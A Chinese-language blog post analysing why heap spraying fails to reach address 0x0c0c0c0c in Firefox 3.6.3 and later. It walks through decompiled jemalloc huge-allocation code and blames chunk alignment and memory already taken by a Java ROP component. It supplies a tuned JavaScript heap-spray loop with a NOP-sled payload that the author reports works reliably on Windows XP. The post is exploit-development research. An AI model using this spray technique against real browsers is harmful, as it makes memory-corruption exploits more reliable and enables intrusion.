火狐3.6.3 huge heap malloc

关键词:堆喷射 为什么火狐3.6.3以后喷不到0c0c0c0c?


对于http://www.exploit-db.com/exploits/17974/ 这个火狐的整数溢出的poc在火狐3.6.16上面可以正常运行

但是在火狐3.6.3及其以后的版本堆喷射死活喷不到0x0c0c0c0c处。


原因有两个:

1 火狐的huge堆分配内存对齐

火狐的堆分成三类:

 *   |=====================================|
 *   | Category | Subcategory    |    Size |
 *   |=====================================|
 *   | Small    | Tiny           |       2 |
 *   |          |                |       4 |
 *   |          |                |       8 |
 *   |          |----------------+---------|
 *   |          | Quantum-spaced |      16 |
 *   |          |                |      32 |
 *   |          |                |      48 |
 *   |          |                |     ... |
 *   |          |                |     480 |
 *   |          |                |     496 |
 *   |          |                |     512 |
 *   |          |----------------+---------|
 *   |          | Sub-page       |    1 kB |
 *   |          |                |    2 kB |
 *   |=====================================|
 *   | Large                     |    4 kB |
 *   |                           |    8 kB |
 *   |                           |   12 kB |
 *   |                           |     ... |
 *   |                           | 1012 kB |
 *   |                           | 1016 kB |
 *   |                           | 1020 kB |
 *   |=====================================|
 *   | Huge                      |    1 MB |
 *   |                           |    2 MB |
 *   |                           |    3 MB |
 *   |                           |     ... |
 *   |=====================================|

huge堆的分配代码:

void *__cdecl malloc(unsigned int size)
{
  signed int alloc_size; // esi@1
  arena_s *arena; // eax@4
  void *result; // eax@7
  int v4; // ST08_4@9

  alloc_size = size;
  if ( !size )
    alloc_size = 1;
  if ( alloc_size > arena_maxclass )            // static size_t           arena_maxclass; /* Max size class for arenas. */
  {                                             // 000ff000
    result = huge_malloc(alloc_size, v4);
  }
  else
  {
    arena = (arena_s *)TlsGetValue(tlsIndex);
    if ( !arena )
      arena = choose_arena_hard();
    if ( alloc_size > bin_maxclass )            // static size_t           bin_maxclass; /* Max size class for bins. */
      result = arena_malloc_large(arena, alloc_size, 0);// 800
    else
      result = arena_malloc_small(arena, alloc_size, 0);
  }
  if ( !result )
    *_errno() = 0xCu;
  return result;
}

void *__usercall huge_malloc<eax>(unsigned int size<eax>, int zero)
{
  unsigned int csize; // ebx@1
  unsigned int v3; // esi@1
  void *result; // eax@2
  void *v5; // edi@3
  int v6; // edi@3
  void *v7; // ebp@5
  int v8; // ebp@5
  unsigned int v9; // esi@7
  int v10; // [sp-4h] [bp-Ch]@3

  v3 = size;
  csize = ~chunksize_mask & (chunksize_mask + size);
  if ( ~chunksize_mask & (chunksize_mask + size) )
  {
    v10 = v6;
    result = base_node_alloc();
    v5 = result;
    if ( result )
    {
      v7 = chunk_alloc(csize, v8, v10);
      if ( v7 )
      {
        v9 = ~pagesize_mask & (pagesize_mask + v3);
        *((_DWORD *)v5 + 4) = v7;
        *((_DWORD *)v5 + 5) = v9;
        EnterCriticalSection(&huge_mtx);
        extent_tree_ad_insert(&huge, (extent_node_s *)v5);
        ++huge_nmalloc;
        huge_allocated += v9;
        LeaveCriticalSection(&huge_mtx);
        if ( csize != v9 )
          VirtualFree((char *)v7 + v9, csize - v9, 0x4000u);
        result = v7;
      }
      else
      {
        EnterCriticalSection(&base_mtx);
        *(_DWORD *)v5 = base_nodes;
        base_nodes = (extent_node_s *)v5;
        LeaveCriticalSection(&base_mtx);
        result = 0;
      }
    }
  }
  else
  {
    result = 0;
  }
  return result;
}

void *__usercall chunk_alloc<eax>(unsigned int size<eax>, int zero, int pagefile)
{
  unsigned int v3; // edi@1
  void *v4; // esi@1
  int v5; // ST0C_4@1
  void *result; // eax@8

  v3 = size;
  v4 = chunk_alloc_mmap(size, v5);
  if ( v4 )
    stats_chunks.curchunks += v3 / chunksize;
  if ( stats_chunks.curchunks > stats_chunks.highchunks )
    stats_chunks.highchunks = stats_chunks.curchunks;
  if ( v4 && malloc_rtree_set(chunk_rtree, (unsigned int)v4, v4) )
  {
    chunk_dealloc(v4, v3);
    result = 0;
  }
  else
  {
    result = v4;
  }
  return result;
}


void *__usercall chunk_alloc_mmap<eax>(unsigned int size<edi>, int pagefile)
{
  void *result; // eax@1
  void *v3; // esi@1
  unsigned int v4; // ebx@2
  unsigned int v5; // ebx@2
  void *v6; // eax@4
  unsigned int v7; // ebx@5
  void *v8; // [sp-14h] [bp-1Ch]@9
  unsigned int v9; // [sp-4h] [bp-Ch]@2

  result = VirtualAlloc(0, size, 0x3000u, 4u);
  v3 = result;
  if ( result )
  {
    v9 = v5;
    v4 = (unsigned int)result & chunksize_mask;
    if ( !((unsigned int)result & chunksize_mask)
      || (pages_unmap(result, v9), (v3 = VirtualAlloc(v3 + size - v4, size, 0x3000u, 4u)) != 0) )
    {
RETURN:
      stats_chunks.nchunks += size / chunksize;
    }
    else
    {
      while ( 1 )
      {
        v6 = VirtualAlloc(0, size + chunksize, 0x3000u, 4u);
        v3 = v6;
        if ( !v6 )
          break;
        v7 = (unsigned int)v6 & chunksize_mask;
        if ( !VirtualFree(v6, 0, 0x8000u) )
        {
          malloc_message("<jemalloc>", ": (malloc) Error in VirtualFree()\n", &p2, &p2);
          if ( opt_abort )
            abort();
        }
        if ( v7 )
          v8 = (char *)v3 + chunksize - v7;
        else
          v8 = v3;
        v3 = VirtualAlloc(v8, size, 0x3000u, 4u);
        if ( v3 )
          goto RETURN;
      }
    }
    result = v3;
  }
  return result;
}


可以看到huge 堆是直接分配的,并未做什么限制,主要就是内存对齐

很多的利用poc都是这样写的喷射循环:

 while(tr_padding.length < 0x80000) {tr_padding += tr_padding;}


这样写其实是有问题的,并不能分配刚好小于0x80000的内存,可能是0x80000*2的内存,而由于内存对齐的缘故,

每次分配都是0x100000大小的内存对齐,如从0x0b000000开始分配,每次分配0xFFFFF的大小内存就会是这样的

内存分配:0x0b000000 0x0b100000 0x0b200000 0x0b300000 0x0b400000 .......每次递增0x100000

但是要是每次分配不止0x100000,则可能每次分配的内存之间间隙就会过大,很有可能就不好分配占据0x0c0c0c0c

这个地址。


这样的写法貌似可以每次递增0x100000的分配内存

var container = new Array();
var padd1 =  unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); 
	var big =padd1;  
	var totallen=0x100000-padd1.length*2;      
	while (big.length < totallen/2)
	{

		big += padd1;
	
	}

这样我测试在xp下 火狐3.6.3每次都可以喷到0x0c0c0c0c处。


2 这个poc利用了java来过rop,引用后,火狐在对喷射之前就已经占据了0x0cxxxxxx部分内存,导致不会从这里开始

分配大块内存,可能从0x0e000000 0x0e100000 ....0x0f000000处开始分配。


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值